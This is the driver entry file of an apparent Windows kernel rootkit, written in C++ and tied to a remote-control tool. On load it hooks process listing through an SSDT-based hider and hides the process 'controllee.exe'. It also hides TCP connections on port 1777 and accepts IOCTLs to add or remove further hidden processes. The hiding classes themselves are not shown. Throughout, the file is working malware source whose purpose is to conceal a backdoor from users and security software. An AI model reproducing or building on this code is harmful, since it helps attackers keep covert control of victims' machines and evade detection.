extern "C"
{
#include <ntddk.h>
};

#include "Common.h"
#include "HideProcess.h"
#include "HideTcpConnection.h"

HideProcess* g_HideProcess = NULL;
HideTcpConnection* g_HideTcpConnection = NULL;

struct DeviceExtension
{
	PDEVICE_OBJECT	deviceObject;
	UNICODE_STRING	symbolName;
	UNICODE_STRING	deviceName;
};

inline ULONG MakeCTLCode(ULONG func)
{
	return CTL_CODE(FILE_DEVICE_UNKNOWN, func, METHOD_BUFFERED, FILE_ANY_ACCESS);
}

VOID Unload(PDRIVER_OBJECT driverObject)
{
	KdPrint(("Enter unload\n"));
	
	PDEVICE_OBJECT		deviceObject = driverObject->DeviceObject;
	PDEVICE_OBJECT		tmpDeviceObject = NULL;
	DeviceExtension		*deviceExtension;
	while (deviceObject != NULL)
	{
		tmpDeviceObject = deviceObject->NextDevice;
		deviceExtension = (DeviceExtension*)deviceObject->DeviceExtension;
		if (deviceExtension->symbolName.Length != 0)
		{
			IoDeleteSymbolicLink( & (deviceExtension->symbolName) );
		}
		IoDeleteDevice(deviceObject);
		deviceObject = tmpDeviceObject;
	}
	if(g_HideProcess != NULL)
		delete g_HideProcess;
	if(g_HideTcpConnection != NULL)
		delete g_HideTcpConnection;
	KdPrint(("Leave unload"));
}

NTSTATUS GeneralDispathRoutine(PDEVICE_OBJECT deviceObject, PIRP irp)
{
	KdPrint(("Enter general dispath routine\n"));

	NTSTATUS status = STATUS_SUCCESS;

	irp->IoStatus.Status = status;
	irp->IoStatus.Information = 0;
	IoCompleteRequest(irp, IO_NO_INCREMENT);

	KdPrint(("Leave general dispath routine\n"));
	return status;
}

NTSTATUS DeviceIOControlRoutine(PDEVICE_OBJECT deviceObject, PIRP irp)
{
	NTSTATUS status = STATUS_SUCCESS;
	PIO_STACK_LOCATION stackLocation;
	KdPrint(("Enter DeviceIOControlRoutine\n"));

	stackLocation = IoGetCurrentIrpStackLocation(irp);
	if(stackLocation->Parameters.DeviceIoControl.IoControlCode == MakeCTLCode(ADD_HIDE_PROCESS))
	{
		UNICODE_STRING processName;
		RtlInitUnicodeString(&processName, (PWSTR)irp->AssociatedIrp.SystemBuffer);
		KdPrint(("Add hide process:%S", processName.Buffer));
		g_HideProcess->addProcess(processName);
	}
	else if(stackLocation->Parameters.DeviceIoControl.IoControlCode == MakeCTLCode(DEL_HIDE_PROCESS))
	{
		UNICODE_STRING processName;
		RtlInitUnicodeString(&processName, (PWSTR)irp->AssociatedIrp.SystemBuffer);
		KdPrint(("Delete hide process:%S", processName.Buffer));
		g_HideProcess->delProcess(processName);
	}
	else
	{
		KdPrint(("Unknow device io control code\n"));
		status = STATUS_UNSUCCESSFUL;
	}

	irp->IoStatus.Status = status;
	irp->IoStatus.Information = 0;
	IoCompleteRequest(irp, IO_NO_INCREMENT);

	KdPrint(("Leave DeviceIOControlRoutine\n"));
	return status;
}

extern "C"
NTSTATUS DriverEntry(PDRIVER_OBJECT driverObject, PUNICODE_STRING regPath)
{
	NTSTATUS	status = STATUS_SUCCESS;

	KdPrint(("Enter driver entry\n"));
	
	driverObject->DriverUnload = Unload;
	for (int mjIndex = 0; mjIndex < IRP_MJ_MAXIMUM_FUNCTION; mjIndex++)
	{
		driverObject->MajorFunction[mjIndex] = GeneralDispathRoutine;
	}
	driverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceIOControlRoutine;

	UNICODE_STRING	deviceName,symbolName;
	PDEVICE_OBJECT	deviceObject = NULL;

	RtlInitUnicodeString(&deviceName, L"\\Device\\RemoteC");
	RtlInitUnicodeString(&symbolName, L"\\??\\RemoteC");
	status = CreateDeviece(driverObject, &deviceName, deviceObject, &symbolName, sizeof(DeviceExtension));
	if(!NT_SUCCESS(status))
	{
		return status;
	}

	DeviceExtension* deviceExtension	= (DeviceExtension*) deviceObject->DeviceExtension;
	deviceExtension->deviceName			= deviceName;
	deviceExtension->symbolName			= symbolName;
	deviceExtension->deviceObject		= deviceObject;

	UNICODE_STRING hideProcessType;
	RtlInitUnicodeString(&hideProcessType, L"HideProcessSSDT");
	g_HideProcess = HideProcess::createHideProcess(hideProcessType);
	if(g_HideProcess == NULL)
	{
		status = STATUS_UNSUCCESSFUL;
		return status;
	}

	UNICODE_STRING processName;
	RtlInitUnicodeString(&processName, L"controllee.exe");
	g_HideProcess->addProcess(processName);

	g_HideProcess->startHide();

	g_HideTcpConnection = HideTcpConnection::createHideTcpConnection();
	if(g_HideTcpConnection == NULL)
	{
		status = STATUS_UNSUCCESSFUL;
		return status;
	}
	g_HideTcpConnection->addDstAddressHide(1777);

	KdPrint(("Leave driver entry\n"));

	return status;
}